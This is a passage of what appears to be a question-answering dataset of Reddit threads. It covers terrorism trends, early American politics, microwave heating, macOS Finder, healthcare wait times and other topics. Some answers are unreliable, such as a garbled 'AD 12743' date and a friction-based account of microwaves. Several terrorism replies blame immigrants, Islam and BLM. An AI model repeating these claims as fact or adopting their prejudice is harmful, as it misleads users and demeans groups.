necessary 2mc^(2).  There's no free lunch.\n\nIt appears from the TIL to which you link that the leader of the NASA project is technologically uneducated.  I wonder how it was approved."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/todayilearned/comments/1wqhgh/til_that_nasa_is_well_on_its_way_to_developing_a/"], "answers_urls": [["http://link.springer.com/article/10.1140%2Fepjd%2Fe2009-00022-0", "http://en.wikipedia.org/wiki/Bussard_ramjet"], [], []]}
{"q_id": "4t4ikm", "title": "is terrorism really on the rise, or does the increasing accessibility of news just make us more aware of it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4t4ikm/eli5is_terrorism_really_on_the_rise_or_does_the/", "answers": {"a_id": ["d5ei99k", "d5ein2i", "d5eivqg", "d5eiyg4", "d5ej8ad", "d5ej8q9", "d5ejqyy", "d5ejvtx", "d5ek0hm", "d5ek15e", "d5ek9ca", "d5ekja8", "d5eklqm", "d5ekqk2", "d5ekw5p", "d5ekw9m", "d5ekzma", "d5elany", "d5elbgz", "d5eleqn", "d5elfn2", "d5elmy2", "d5elqn2", "d5elti5", "d5elu4v", "d5eluhn", "d5em4j8", "d5emap6", "d5emgap", "d5emj2g", "d5emjbw", "d5emqte", "d5end8w", "d5endlg"], "score": [51, 127, 532, 8, 7, 1188, 2, 178, 20, 4, 18, 570, 5, 116, 11, 3, 14, 9, 5, 14, 4, 5, 3, 4, 2, 41, 2, 2, 2, 2, 5, 5, 2, 2], "text": ["Terrorism *in the West* has certainly become more common in the past few years. In general it is quite rare in the Western world, so the terrorist attacks we've seen in 2015 and 2016 make for a large relative increase.\n\nHowever, these kinds of events have been ordinary occurrences in places like Iraq or Afghanistan for well over a decade, and to a lesser degree in many other countries. They rarely get more than a short mention on the evening news; there is so much focus on terrorism in the U.S. and Europe lately precisely because the current rate is so unusual.", "I guess you're talking from a US perspective - I've not done the maths but I'd think in the UK we're probably had a lot less terrorist since the 90s when IRA bombings were at their height.  ", "it's called historical myopia\n\npeople view the past through a nostalgic, false reimagination of the past\n\nin reality, every generation sees things getting worse, even as progress makes things better. Examples with quotes \n\nWhen I was young, we were taught to be discreet and respectful of elders, but the present youth are exceedingly disrespectful and impatient of restraint.\n\nHesiod, 8th century BC\n\nWhat is happening to our young people? They disrespect their elders, they disobey their parents. They ignore the law. They riot in the streets inflamed with wild notions. Their morals are decaying. What is to become of them?\n\nPlato, 4th Century BC\n\nThe young people of today think of nothing but themselves. They have no reverence for parents or old age. They are impatient of all restraint... As for the girls, they are forward, immodest and unladylike in speech, behavior and dress.\nAttributed to Peter the Hermit, AD 12743\nsame shit, different century", "Also, we have much more access to events basically immediately when they happen. Where as in the past it would take a long time for news to travel of such events. Not only that but the media gets ratings off of fear. If people are scared, they tend to tune in to the tv more. Yes terror attacks are happening. But they have been happening for as long as time has been recorded. ", "This is a hard one to measure as it really depends on where you are.\n\nIn places like the UK and Sri Lanka, terrorism as such has most dropped in the last 20 years, but for countries like France, Belgium and Turkey, this is far higher. \n\nI do agree with the point you're making though. Better accessibility of new means this information is available quicker and in greater amounts, which intensifies the \"breaking news\" factor and may create the illusion that it is more frequent. ", "History would say we are currently in the safest era of living.\n\n24/7 media would have you believe otherwise.\n\nAdd into the fact that coverage is higher when it happens in 1st world countries too, and it may seem like the world is ending at times.\n\nIt isn't. \n\n", "I would also like to add that the recent string of (rather high profile) terrorist attacks which is carried out by a single organization  Isis (or its sympathizers) means that they get near constant press coverage. \n\nIf this were done by separate groups it may have felt less omnipresent.", "Hard to say, but we tend to look at history through rose colored glasses. People forget that the 1970s had an INSANE number of terrorist hijackings.  \n_URL_0_\nCould you imagine what the news would be like if those things were happening today?\n\nI think social media and 24 hour news just makes any global event more known these days.", "_URL_0_\n\nIt's crazy that school shootings in the U.S. go all the way back to 1764. \n\nIn that list, the number of school shootings has definitely increased over the last few decades, however, it doesn't list the increase in number of schools themselves and the increase in population. So, it's hard to immediately assess if the number of school shootings has remained proportional to the number of schools/population or whether it's actually gone up. Someone else can do that math. I don't feel like it.", "Yes, terrorism is on the rise due to the regional proxy war(s) in the Middle East between Iran and Saudi Arabia, the development of homogenous immigrant neighborhoods in Europe that breed Islamist activity, and the rising ethno-social polarization in the west.", "I can't find the quote but US secretary of war in WW2 Henry Stimson said he had to sacrifice 10's of thousands of troops in the Phillipines and that was the kind of decision that would need to be made for the rest of the war. We don't have to deal with shit like that.", "Global terrorism is down in 2015 but increased in the west.\n\n_URL_0_\n\nThat's year on year though, so it depends on when your baseline is? Since the year 2014? Down. Since the year 2000? Up massively. \n\nCurrently the Islamic State is being pushed back, losing ground both in Iraq and Syria. This is causing them to become more desperate and they are beginning to strike out more. They also have a very effective propaganda arm that is radicalising some Europeans. If you check the link you can see the most deadly attacks mostly took place in the Middle East, with some in Africa. We actually don't hear that much about those attacks here in the west. ", "I personally think not only does it make us more aware of it, the media also increases it's effectiveness by allowing more mass hysteria and increasing it's effects to a global scale.", "The other issue with perception of terrorism is that for many years, terrorist groups were obsessed with attacking major landmarks with symbolic value. US military bases, embassies, airliners, sporting events, etc. Even the 9/11 hijackers went well out of their way to hit big, visible symbols of American power.   \n\nNowadays, you've got a bunch of guys who just attack the closest group of massed civilians, so it feels more threatening. \n", "Not to stray off topic - but I was reading a thread here the other night where people were reminiscing about being able to be outside all day as kids - and how nowadays that just doesn't happen. Apparently there was a study done saying it's not any worse today than it was twenty-thirty years ago, we just now have visibility to all the terrible things that have happened. ", "This is a question redditors are probably not qualified to answer. Unless among us is a credibly expert?  \n\nI can only give my impression/thoughts, and they are this: Terrorism as we define it today is a relatively new phenomenon that is born out of and exacerbated by the media because it's purpose is to bring a message of violence and fear to a wide audience, which the media does exceptionally well.  \n\nTerrorism has probably been around forever, a notable historical example being Vlad the Impaler impaling people in order to terrorize his opponents.\n\nThese do feel markedly different, though. They feel like organized state actions, meant to warn other states against conflict. Vlad's goal was to demoralize leaders and troops who might engage in war with them.\n\nModern terrorism is not about \"scaring off\" conflict, it's about promising conflict, and it's not directed at states it's directed at innocent citizens. It's goal is to change a state from the inside by terrorizing it civilian population with violence that appears to have no clear objective or end point as would normally be expected from a war.\n\nIf we view modern terrorism as being a new thing, with different goals than old war morale tactics, then yes, it is new it is on the rise and the media **does** make us more aware of it which is vital to it's success.", "A point that I don't think has been covered yet:\nTerrorism requires media involvement to be the most effective. The model that the IRA used (early on anyway) was to set a bomb and alert the media with no real intention of setting it off, more a \"look what we can do, pay attention to our demands\" goal.\n\nMore media coverage means that the goals of terrorism (to spread fear and draw attention to a group for the purposes of making demands/gaining power) are more efficient to achieve. It's a symbiotic relationship.", "Depending on what you mean by \"Terrorism\" we live in a relatively peaceful time. From the 1880s up until around the 1960s many black churches were firebombed. The genocide committed by Polpot may or may not be considered as terrorist acts. The Bosnian War which most will certainly agree used terrorist style tactics. The ongoing wars in African countries such as Sudan and Somalia where terrorist style attacks are carried out regularly. Note that most of these aren't western nations. And while crises like the Bosnian War were covered, western media tends to ignore the plight of non western nations. If you take a rough definition of terrorism as using means against a populace to induce fear and terror, then the world is relatively more peaceful today than in the past.", "Although the \"historical myopia\" effect is real, and we are in fact living in the most peaceful era in history, I would still say that terrorism is really on the rise.       \nI don't know about terrorism in third-world or other Muslim countries, but terrorism in the western world is on a huge rise in past couple of years- just look at the recent terror attacks in France, the US, Belgium and more. (Turkey and Israel too, although it's more debatable)\nI can't remember when so many terror attacks happened in such a short time since WW2.", "Terrorism is up about 800%, global conflict deaths up 350% since 2008. There are currently more refugees in the world than at any point in human history, even more than during the Cold War. (_URL_0_) \n\nI see a lot of displaced optimism on here about this, that we Iive in the \"most peaceful era in history\". It's just not true anymore, the 1990s and 2000s were dramatically more stable and peaceful. We aren't living in an EXTREMELY dangerous era, it's not anything compared to WW2, but things are definitely bad right now. \n", "I've recently been reading about the anarchist's bombing campaigns in America during the 1920s. It's something I didn't really know about, but it was pretty common at the time for major figures to be sent bombs in the post, or for bombs to be left in busy areas, and there were a lot of casualties. Here's Bill Bryson writing about one of the bigger incidents in *One Summer: America 1927*:\n\n > A horse drawn wagon pulled up outside the offices of JP Morgan  &  Co. at the corner of Broad and Wall Streets in Manhattan. The driver, it is supposed, tethered the horse and and departed sharply, for a few moments later the cart exploded with a force that rocked the district and blew out windows on the 32nd floor of a building more than a block away. The bomb was a particularly viscous one: packed with shrapnel, it was designed to maim and was detonated when the street was packed with lunchtime office workers. Thirty people were killed instantly and several hundred people injured. The heat of the blast was so intense that many of the victims suffered severe burns on top of any other injuries. A clerk at JP Morgan was decapitated by a sheet of flying glass, but no senior members of the firm - the supposed principal targets - were among the victims. [...] At the end of the day, the casualty totals were 38 dead and 143 gravely injured. ", "Not necessarily about terrorism, but still relevant. \n\nPeople only seem to focus on the problems we have today, and we rarely look at the past and see how far we've come. \n\nLots of people are talking about how America is going down the drain.  Race relations, police issues, the 2016 election, mass shootings, gun control, etc.\n\nBut if we look back 50 years or so, America is doing better now than it ever was. \n\nWithin the past ~50-60 years we went through the civil rights movement.  Black Americans still lived under segregation, and protestors were not treated kindly. \n\nThousands of American men were drafted and sent to die against their will in Vietnam, some country no one had heard of, all in the name of a vague philosophy. \n\nPeaceful protesters at Kent state were shot by the national guard. \n\nThe Cuban missile crisis, probably the closest we've ever gotten to ending the world. \n\nPresident JFK was assassinated. \n\nPresident Nixon resigned after the Watergate scandal. \n\nNot to mention that violent crime was steadily rising this entire time, peaking in the 80s. \n\nAmerican politics have always been fucked.  Our problems aren't anything new.  But at the same time, violent crime has been falling for decades, life expectancy is up, and the worst scandal many working age people remember is Bill Clinton getting a BJ. \n\nMedia would have you believe that the world is coming to an end, but we're living in a time of unparalleled peace.  Many people's parents or grandparents grew up with a threat of constant nuclear war from the Russians.\n\nAmerica is a lot less frightening now than it ever was, no matter what the media tells you. ", "It is slightly on the rise, but it's still far less than the 70s where you had many home grown terrorists such as ETA, the IRA, RAF etc... Now we have much less attacks, but they're with a different motivation.\n\n_URL_0_\nSource:\n_URL_1_\n\nSome speculate that after the Cold War, there was a shock to international fault lines, and this resulted in a unusual calm.\n\nIf that's right, now intrnational politics and conflicts have settled, a moderate increase makes sense, though whether it goes back to teh 70s, we will see.\n", "It's actually increasing a lot, and it's thanks to all the liberal PC folk who insist on defending Islam and BLM.  The mass immigration of Syrians also contributed to the Trojan horse effect.\n\nEdit:  downvote all you want you delusion fools :p", "No. All forms of violence are at their lowest point in human history. Accessibility of the news hasn't change much either since the invention of the newspaper and radio. The modern media has an agenda to scare the populace.", "TLDR: Since 2000, yes, but the biggest gains are mostly still in Iraq, Nigeria, Afghanistan, Syria, and Pakistan. Historically Europe is used to a certain low level of terrorism. \n\n[The Atlantic](_URL_0_) just ran an article this week; they point to research by Institute for Economics and Peace\u2019s Global Terrorism Index points to some rise in acts of terrorism in Western countries (and certainly last year and this year in France would exacerbate that), but the primary rise in terrorism is confined to countries which have experienced wide scale civil breakdown; Iraq for example is as bad as it was in 2007 when the country was almost in civil war. \n\nIn Europe at least, the recent decades were quite peaceful compared to the 60s-80s, because depending on which country you were in; there were left and right wing terror groups, and independence groups, who regularly took hostages, hijacked airplanes, and bombed nightclubs. Terrorism certainly isn't unfamiliar to Irish adults over a certain age, and older generations (but not so old) in Germany can tell about the Baader Meinhof Gang and extremely violent protests from that era which have no read point of comparison today. Even if you go farther back in history, to the era before WWI, you'll find extreme paranoia about anarchist terrorists, which was a threat that never really materialized in a way that threatened Western civilization, but people at the time did not feel that way, and they worried that mass hysteria would ensue. ", "A lot of the uptick we are seeing is largely due to technology and the ability for people to transport into new cultures. It is not uncommon for terrorism to occur in high rates in the Middle East. Historically, this is the norm.\n\nWhat has changed is that people are migrating from these areas/cultures and bringing the behavior with them or they are being removed as refugees to the \"Western\" society and bringing this behavior with them. \n\nBecause we have more people committing terrorist acts in Western societies we hear about it more.", "I think we are often conflating two things when we talk about terrorism.\n\n1. Organized attacks on civilians by terrorist organizations for clear political aims. \n\nI would include 9/11, Bali, Madrid, Santa Barbara, Dhaka and the Bataclan as instances of this type. I'd include the Utoya massacre too, because although Brevik acted alone, he is sane and had a clear political goal. Ditto for the Dallas shootings.\n\n\n2. Mass killings where the killer slaps on an ISIS label or other justification. \n\nWhen I look at the details of the Miami shooting, the Oak Creek Massacre, Fort Hood, the Boston Marathon, Charleston, and Nice, I see something else. I see loners going postal, and slapping a post-hoc political justification to their actions. \n\nThey didn't have ties to some larger organization, and in many cases the killer had only tangential involvement in the community that motivated their attack. Dylann Roof had black friends, lots of the Muslims drank/had premarital sex, etc. This type of terrorist may be more common, just as this kind of suicidal mass killer appears to be more common in our disconnected society.\n\nIf James Holmes had shouted \"Allahu Akbar\", would that make him a terrorist? ", "If you're in the UK, terrorism hasn't been lower since the 60s. \n\n[During the 70s, 80s and 90s](_URL_0_) terrorism from the IRA across Great Britain including bombs, assassinations and automatic weapon massacres were a regular occurrence when compared with what we see today. \n\nIt's also part of the reason our intelligence services do better than most others in regard to preventing and policing such attacks.", "This is a chart of attacks in Western Europe since 1970 so the number of attacks are lower but the article mentioned that 2015 had above average casualty numbers.\n\n_URL_0_", "Islamic violence is up very much so, the ME is a wasteland of civil war and religious barbarism. Of course some people don't count brown suffering as important or relevant, so caring about Arab life is going to get you shouted down as a racist in no time flat.", "There's a flaw in the question which makes it difficult to answer. **How exactly do you define terrorism?** It's much harder than it seems. Try it.\n\nA plane being flown into the side of a building? A car bomb exploding in a market place? Well that's certainly terrorism, right? It's supposed to terrorize a population. \n\nWell what about when a [lone nutcase](_URL_0_) shoots a bunch of kids on an island? Or when a criminal gets into a [gunfight with police](_URL_1_) and loses control of the situation? I mean, they're terrorising innocent people right? What happens if a known terrorist organisation starts claiming that they're responsible (despite evidence saying they had nothing to do with it). Is it terrorism then?\n\nThe problem with terrorism is that it has such a low bar for entry. Sometimes only taking a single person.\n\nAlso, it heavily depends on the the bias of those building the narrative. Current western media happily hypes terrorism stories, even for someone who [fail to hurt anyone](_URL_2_). Yet ignore things like [US drone-strikes](_URL_3_), which have been responsible for hundreds of innocent civilian deaths, and absolutely inspire terror in a population.\n\nSo the answer to the question is determined entirely by how you define terrorism. \n\nIt differs depending on who you ask.", "The fact that we lived through the cold war and the decades later without a full scale world war is because of covert wars fought using proxies. These proxies need weapons, money and motivation. Money works well in the civilized world but religious motivation works even better and is cheaper than anything else.\n\nReligious fundamentalism is also a well tested tool. It was used in a controlled manner in remote areas to incite innocent people into fighting wars in the name of religious beliefs. \n\nIn today's world, some of this is amplified because of over-communication. If broadcasting and social media are tools for propaganda, they are supposed to be controllable by the government as well. Currently, every shithead with a smartphone can run his own misinformation campaign. Unfortunately gullible people are not smart enough to see through this. \n\nPrivately owned news media with their own interests and pursuits have also increased. \n\nSo  although the communication is louder now, the number of people killed by such covert warfare has also definitely increased.", "Honestly since the beginning of time we have been fighting each other over beliefs/resources/vengeance/injustice. At any point in history somewhere on the world one group was fighting another over something. Almost every group of people have been \"terrorists\" at some point. The American founding fathers were terrorists who resisted British rule. We won so now they are called \"patriots\". When Russia invaded Afghanistan and America funded trained and helped the Taliban and Osama bin Laden revolt against them they were \"freedom fighters\". Afterwards when they used their funds and training to attack America on 9/11 they became \"terrorists\" again. To answer the question more directly terrorism heroes villans are all subjective and a matter of perspective. We have always fought and committed atrocities against each other all that has changed is access to that information and the ability to watch it from safety on a ultra high Def 80 inch screen."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["https://en.m.wikipedia.org/wiki/List_of_aircraft_hijackings"], ["https://en.wikipedia.org/wiki/List_of_school_shootings_in_the_United_States"], [], [], ["http://fivethirtyeight.com/features/global-terrorism-declined-last-year-but-not-in-the-west/"], [], [], [], [], [], [], [], ["https://www.theguardian.com/world/2015/may/20/armed-conflict-deaths-increase-syria-iraq-afghanistan-yemen"], [], [], ["http://fm.cnbc.com/applications/cnbc.com/resources/files/2015/11/17/terrorChart2-01.png", "http://www.cnbc.com/2015/11/17/the-rise-of-religious-terrorism-in-the-eu.html"], [], [], ["http://www.theatlantic.com/international/archive/2016/07/terrorism-isis-global-america/490352/"], [], [], ["https://en.m.wikipedia.org/wiki/List_of_terrorist_incidents_in_Great_Britain"], ["http://imgur.com/b9DbO2c"], [], ["https://en.wikipedia.org/wiki/2011_Norway_attacks", "https://en.wikipedia.org/wiki/2014_Sydney_hostage_crisis", "https://en.wikipedia.org/wiki/Richard_Reid", "https://en.wikipedia.org/wiki/Civilian_casualties_from_US_drone_strikes"], [], []]}
{"q_id": "4sud33", "title": "What were specific reasons for the falling out/division between Hamilton and Madison, despite their collaboration on the Constitution and The Federalist Papers?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4sud33/what_were_specific_reasons_for_the_falling/", "answers": {"a_id": ["d5vj0eu"], "score": [2], "text": ["In a quick summary, Hamilton's financial system. In it, vets who had sold off their bonds would receive nothing for their years of service. Madison found this to be unfair and from that moment worked against the system Hamilton was attempting to create. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "20vuac", "title": "why are hot pockets boiling lava hot around the edges and still cold in the center?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/20vuac/elif_why_are_hot_pockets_boiling_lava_hot_around/", "answers": {"a_id": ["cg78llr"], "score": [2], "text": ["The simple answer, as has been stated by previous respondents, is that microwaves heat up water molecules. However, this isn't exactly the case.\n\nMicrowaves are a type of radio wave with a longer wavelength than visible light. The wavelengths of microwave radiation can vary dramatically, from as little as a millimetre or so to as long as a full metre. Most commercially sold personal microwaves are fairly short-length.\n\nNow, the key thing to remember about microwaves is that they're **not \"heating up\" the water molecules**. What they do instead is they hit the molecules of water in the food, and this provides those molecules with lots of energy. LOTS of energy. When a molecule of water is provided with energy, it absorbs that energy and then releases it again in the form of vibration.\n\n**It's this vibration that causes the heating action; as the molecules jiggle around, they create friction, which creates heat.**\n\nThe problem with this for food is that by the time the energy reaches the centre of the food, almost all the energy has already been absorbed by water molecules closer to the outside of the foodstuff. This means that there's not enough energy left to cause much vibration of the molecules in the middle of the food - it was all used up in the vibration of the molecules on the outside.\n\n**The only realistic way to get around this is to either:**\n\n1. Cut the food up into smaller pieces, so that there's enough energy to heat all sides of the product without leaving the centre cold, or\n2. To allow the excess heat around the outside of the product to slowly heat the middle of it by the process known as **convection**.\n\nConvection is the process that conventional ovens use, where they basically just heat up the air around the food and allow that heat to diffuse into the product. However, since it's going through a solid, it'll be faster.\n\n**This is why they always tell you to let microwave meals stand for *x* number of minutes - to give the heat time to diffuse into the centre before reheating the outside again to replace the heat lost to the centre**.\n\nIt's also why just microwaving a hot pocket once will result in the *boiling lava/frigid ice* problem. The solution: **Let your hot pocket stand for a bit in the middle.**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "330lnr", "title": "why can't you close finder on macs?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/330lnr/eli5_why_cant_you_close_finder_on_macs/", "answers": {"a_id": ["cqgdw6g", "cqgdxhx", "cqge80a"], "score": [8, 40, 3], "text": ["So, this is a fun question, I'll try to explain a bit about how operating systems work.\n\nThe TL/DR answer is that when you open and close applications, Finder is opening and closing them. What you think of as the operating system, is just a visual application that the operating system is running for you called finder.\n\nThe operating system doesn't put icons on your screen or make nice drop down menu options or do searching etc, all of that is handled by a program that runs on the operating system. All the operating system does is it allows programs to interact with hardware and with other programs. So if all you were running was the operating system, your monitor wouldn't even turn on.\n\nTo make life easier, the Mac operating system comes with a program called \"Finder\" which reads the contents of user profiles and draws a nice interface for the user to perform common tasks. It reacts to user input from the mouse/keyboard and lets you manage the operations of other applications and also your files and settings. This is similar to explorer.exe in windows which handles drawing your desktop and the start menu and doing things like file transfers or starting a program on your behalf when you drag icons around or double click an exe. In windows you actually CAN quit explorer, however the operating system typically restarts it for you because most users will have a pretty hard time using the computer without an interface.", "Because the desktop is part of Finder, so if you were to actually quit out of Finder, you would no longer have an interface with which to access anything in OS X. \n\nImagine a real, physical desk with paper files and folders sitting on top of it. Finder is not just the files and folders on the desk, but it's also the desk itself. Now imagine two guys coming in picking up your desk with all the files and folders on it and walking out with it. You're sitting in your chair looking at the empty, dusty space where your desk used to be. That's what quitting Finder would be like. Now go outside and take a deep breath. Look up at the sky. Go for a run. What the fuck else are you going to do? They took your desk. \n\n", "You can. Open a terminal and enter \"killall Finder\". If I recall correctly, that should make all Finder windows disappear and also the icons on your desktop, which are also managed by Finder, but after a few seconds the operating system should automatically restart it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "94gm0g", "title": "how come countries with socialized medicine have to wait so long for certain operations?", "selftext": "I don't know if this is actually the case, but I hear very frequently the counter argument for socialized healthcare that operations ranging from hip replacements to removing a tumor, can take years to finally recieve. Please explain. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/94gm0g/eli5_how_come_countries_with_socialized_medicine/", "answers": {"a_id": ["e3kvkdz", "e3kvx0p", "e3kybph", "e3kynmj", "e3kz7ra"], "score": [6, 4, 12, 8, 6], "text": ["I\u2019ve heard the same thing, but I don\u2019t know how true it is. If it is true, my best guess would be triage.\n\nBasically, the most desperate cases will be taken care of first, and everyone else who isn\u2019t in immediate danger will be pushed down the list. So, if you have a tumor that is not malignant, they wouldn\u2019t take it out right away, unless it becomes cancerous.", "Am Canadian and IS true.\nWaiting lists are a way of life.\nIt is estimated that, across the 10 provinces, the total number of procedures for which people are waiting in 2017 was 1,040,791. This means that, assuming that each person waits for only one procedure, 2.9% of Canadians were waiting for treatment.Canadians could expect to wait 4.1 weeks for a computed tomography (CT) scan, 10.8 weeks for a magnetic resonance imaging (MRI) scan, and 3.9 weeks for an ultrasound.Wait times can, and do, have serious consequences such as increased pain, suffering, and mental anguish. In certain instances, they can also result in poorer medical outcomes.Thus transforming potentially reversible illnesses or injuries into chronic, irreversible conditions, or even permanent disabilities. In many instances, patients may also have to forgo their wages while they wait for treatment, resulting in an economic cost to the individuals themselves and the economy in general.", " > socialized medicine \n\nFirst off, that's just a scare term American conservatives invented in the 1950s to turn people off to universal healthcare. When was the last time you heard somebody complain about \"socialized fire departments?\"\n\n > have to wait so long for certain operations?\n\nThat's an example of what we call lying by telling the absolute truth. What the people who use this one fail to note is that wait times for specialists in the US can be every bit as long, or longer. If your HMO decides you don't NEED a visit to a specialist, you don't get one.\n\nIt should also be obvious on a little reflection that how long you have to wait for a doctor has little or nothing to do with how the service gets paid for eventually, and just about everything to do with the supply and demand of doctors. Try getting sick in an area  that has one doctor for 10,000 people, see how long the wait time is.\n\nAnd finally, it should be *obvious* that if you can't afford a doctor and there is no universal healthcare, the wait time is...infinite.\n", "only so much medical care is available at a given time; there are so many doctors, so many operating theatres, CT machines, etc. Any health care system must necessarily prioritize some patients over others.  The question is how you do that.\n\nIn countries with socialized medicine priority is based on need, so patients with non-critical conditions must sometimes wait.  In the United States priority is based on who has the most money.", "Because even in countries with Universal Health Care, the system is often overworked and under-funded. \n\nIf the health care budget was one-tenth of the military budget, every American would have free health care with no extended waits for routine operations. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "4lflgn", "title": "How was it that three of the greatest rulers of WWI were cousins? What political situation led to this?", "selftext": "I'm referring to Wilhelm II, Nicholas II, and George V, who ruled the empires of Germany, Russia, and Britain, respectively.\n\nDynastic trees and the politics behind them have always messed with me. Thanks in advance for any help. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4lflgn/how_was_it_that_three_of_the_greatest_rulers_of/", "answers": {"a_id": ["d3mz5ud"], "score": [8], "text": ["Royalty generally married into other royal lines, and with marriage came inheritances of both lands and titles from both sides of royal lineages, so that the King of England (for instance) can also be the Duke of Normandy. [The family tree on this site](_URL_0_) gives a breakdown of the familial relations between the three dynasties."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.brookings.edu/blogs/brookings-now/posts/2013/12/family-relationships-that-couldnt-stop-world-war-one"]]}
{"q_id": "bdvnqq", "title": "If a blind individual was aboard the ISS, would they still see the flashes due to interstellar radiation astronauts claim to see when they close their eyes?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bdvnqq/if_a_blind_individual_was_aboard_the_iss_would/", "answers": {"a_id": ["el172ym"], "score": [24], "text": ["If we're willing to grant that what's happening here is that some part of the visual pathway (photoreceptor, ganglion cell, something in cortex) is being stimulated, we can answer this question by looking at how blind individuals respond to stimulation of the retina or visual cortex (either by direct electrical stimulation or by transcranial magnetic stimulation (TMS)). In normal subjects, TMS to the primary visual cortex also produces phosphenes. \n\nFor individuals who lost their vision later in life, bypassing the photoreceptors to somehow get a signal to early visual cortex (e.g. by stimulating retinal ganglion cells directly or V1 with TMS) still produces phosphenes ([Cowey  &  Walsh, 2000](_URL_3_); [Humayun et al., 1996](_URL_1_)  < - pdf; [Gothe et al. 2002](_URL_0_)).\n\nHowever, those who are blind from birth do *not* experience phosphenes when primary visual cortex (V1) is stimulated ([Kuper et al. 2006](_URL_4_)  < - pdf!). Instead, V1 appears to be co-opted by other senses, such as tactile ones. As a result, stimulating V1 in early blind individuals can induce tactile sensations and can impair Braille reading tasks ([Ptito et al. 2008](_URL_2_)).\n\nEdit: adjusted description of cause of sensation due to radiation based on comment below"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://academic.oup.com/brain/article/125/3/479/519083", "http://ultralowvisionlab.jhu.edu/wp-content/uploads/2018/01/84-Visual-Perception-Elicited-by-Electrical-Stimulation.pdf", "https://link.springer.com/article/10.1007/s00221-007-1091-0", "https://journals.lww.com/neuroreport/Fulltext/2000/09280/Magnetically_induced_phosphenes_in_sighted,_blind.44.aspx", "https://www.pnas.org/content/pnas/103/35/13256.full.pdf"]]}
{"q_id": "1axhpi", "title": "What were the dating customs/relations between young men and women in 1930s Austria and how did they compare to dating practices in Germany at the time?", "selftext": "Hi, I'm interested in the courting customs of 1930s Austria and how they compare to those found in 1930s Germany. Because of the Anschluss in 1938 and the formation of the Greater German Reich, I'm hoping that there was a fair amount of overlap but all I care about is a detailed overview. What was allowed? What was frowned upon? What would be considered scandalous (especially when framed by today's perspective of casual dating)? \n\nMany Thanks!\n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1axhpi/what_were_the_dating_customsrelations_between/", "answers": {"a_id": ["c91phhp"], "score": [3], "text": ["There was a particular custom in rural communities esp. in Bavaria and Austria called (\"fensterln\")[_URL_0_] (link in German). Basically a young man would sneak to the house of his sweetheart at night, put a ladder to her window and, if she opened the window for him, spend some time in her chamber."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://de.wikipedia.org/wiki/Fensterln"]]}
{"q_id": "49muph", "title": "Why did Aaron Burr's illegitimate children identify as black when their father was European and their mother was East Indian?", "selftext": "I was recently reading about the life of Aaron Burr and came across an interesting fact about his illegitimate children. His two illegitimate children, John Pierre Burr and Louisa Charlotte Burr, were born to a servant of Burr's from India (Wikipedia says perhaps Calcutta). It appears that both of his children later identified as black, including marrying African Americans and becoming involved in black culture, including the abolitionist movement. Of course, our modern cultural perceptions of race make a significant distinction between Indians or other non-African people with dark skin and blacks. Were Indians and other people with dark complexions (such as aboriginal people in Australia or Fijians) commonly viewed as blacks in the past? Are there other cases of Indians or other ethnic groups identifying as black in colonial or post-colonial America? Could someone in one of these groups choose how they identified or was that decided for them by their appearance/skin color? For that matter, how many Indians were there in the Americas at the time?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/49muph/why_did_aaron_burrs_illegitimate_children/", "answers": {"a_id": ["d0tdws8"], "score": [9], "text": ["Our racial categories are socially constructed, and not as biologically-rooted as racists like to believe. Throughout American history, there are innumerable cases of individuals who slipped through as the cracks of the black/white racial dichotomy. Interracial sex and rape were so common in antebellum America that many black people did not look black by our modern perceptions, allowing them to assimilate into white society. One interesting example are the Melungeons and Lumbee people of the upper South, groups of mixed-race people who lived in distinct communities that could not be classified as either black or white. In other cases, people who did not easily fit into either side of the American racial dichotomy were just considered black.\n\nBecause they were dark skinned, or at least born to one dark-skinned parent, Aaron Burr's children would have had blackness attributed to them despite not fitting our modern definitions (which are ostensibly based on genetics rather than appearance). Because race is defined by perception, the attribution of blackness toward Burr's children would have led them to self-identify as black. \n\nInterestingly, the descendants of South Asians workers in Louisiana helped form the Creole people - another heterogeneous ethnic group who identified as a distinct race, but were generally considered black by outsiders due to their dark appearance. This is quite similar to what happened to the Burr children."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
